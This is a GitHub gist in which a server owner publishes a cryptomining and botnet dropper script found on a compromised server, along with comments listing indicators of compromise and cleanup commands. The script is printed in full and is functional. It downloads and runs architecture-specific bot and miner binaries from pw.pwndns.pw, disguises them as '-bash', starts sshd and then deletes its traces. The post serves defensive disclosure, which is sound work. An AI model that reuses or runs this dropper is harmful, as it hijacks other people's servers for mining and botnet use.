Skip to content

Instantly share code, notes, and snippets.

@Bharat-B
Created December 3, 2023 21:09
Show Gist options
  • Save Bharat-B/6f8d22d27744093aef73cfeff78d2be7 to your computer and use it in GitHub Desktop.
Save Bharat-B/6f8d22d27744093aef73cfeff78d2be7 to your computer and use it in GitHub Desktop.
Found a script running on my server, that was hijacked and this script was left on it.
#!/bin/sh
domain="pw.pwndns.pw"
root=$(id -u)
ARCH=$(uname -m)
if which curl > /dev/null 2>&1; then
dl="curl --fail --silent --connect-timeout 5 --max-time 10 --retry 1 -o"
read="curl --fail --silent --connect-timeout 5 --max-time 10 --retry 1"
elif which url > /dev/null 2>&1; then
dl="url --fail --silent --connect-timeout 5 --max-time 10 --retry 1 -o"
read="url --fail --silent --connect-timeout 5 --max-time 10 --retry 1"
elif which get > /dev/null 2>&1; then
dl="get -q --connect-timeout 5 --timeout 10 --tries 2 -O"
read="get -q --connect-timeout 5 --timeout 10 --tries 2 -O-"
elif which wget > /dev/null 2>&1; then
dl="wget -q --connect-timeout 5 --timeout 10 --tries 2 -O"
read="wget -q --connect-timeout 5 --timeout 10 --tries 2 -O-"
else
dl=""
read=""
fi
myip=$($read http://$domain/?ip)
servers=$($read http://$domain/servers/server.txt | grep $myip | wc -l)
if [ "$servers" = "1" ]; then
pid=$(ps x | grep -v -e grep -e R | grep -e "/usr/sbin/ddr" -e "ddrirc" -e "sshd$" | awk {'print $1'})
if [ -z "$pid" ]; then
if [ "$root" = "0" ]; then
service ssh start
service sshd start
/etc/init.d/sshd start
fi
cd /dev/shm || cd /tmp ; rm -rf -- $ARCH $ARCH* .$ARCH* -bash; $dl -bash http://$domain/bots/$ARCH ; chmod +x -- -bash ; ./-bash ; rm -rf -- -bash -bash* .-bash*
# else
# ps x | grep -v -e grep -e R | grep -e "/usr/sbin/ddr" -e "ddrirc" -e "sshd$" | awk {'print $1'} | while read -r p; do kill -9 "$p"; done
# rm -rf /tmp/.ddr
fi
else
ips=$(host xmr-rx0.pwndns.pw | awk {'print $4'} | while read -r ip; do echo " -e $ip ";done)
ips="$ips -e 185.45.192.135"
ssips=$(ss -np | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}' | sort | uniq | grep $ips)
if [ -z "$ssips" ]; then
cd /var/tmp/ || cd /tmp/ ; rm -rf -- $ARCH $ARCH* .$ARCH* -bash ; $dl -bash http://$domain/miners/$ARCH ; chmod +x -- -bash ; ./-bash -c -k -dp 443 -tls -p 443 -tls -dp 3333 -p 3333 -d; rm -rf -- -bash .$ARCH* $ARCH*
fi
fi
@Bharat-B
Copy link
Author

Bharat-B commented Dec 3, 2023

If anyone is seeing trends in complaints for 100% usage and if top -c and htop aren't pointing anything credible, look for this file in your server

lntpdate
lntpdate.service

some sort of mining service, that eats away all your CPU

the usual way to remove this would be

chattr -a -I /sbin/lntpdate
chattr -e /sbin/lntpdate
rm -f /sbin/lntpdate

chattr -a -I /etc/systemd/system/lntpdate.service
chattr -e /etc/systemd/system/lntpdate.service
rm -f /etc/systemd/system/lntpdate.service

@Bharat-B
Copy link
Author

Bharat-B commented Dec 3, 2023

found more files

check your root user crontab

The following can be on any or all user's crontabs

so basically look for the following files in your entire server

lntpdate, entpdate,ntpdate, pwnrig

/etc/rc2.d/S01pwnrig
/etc/rc3.d/S01pwnrig
/etc/rc4.d/S01pwnrig
/etc/rc5.d/S01pwnrig
/etc/systemd/system/pwnrige.service
/etc/systemd/system/multi-user.target.wants/pwnrige.service
/etc/systemd/system/multi-user.target.wants/pwnrigl.service
/root/hacked/pwnrig
/usr/lib/systemd/system/pwnrigl.service

@Bharat-B
Copy link
Author

Bharat-B commented Dec 3, 2023

Also look for the following.

crondr mcrondr

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment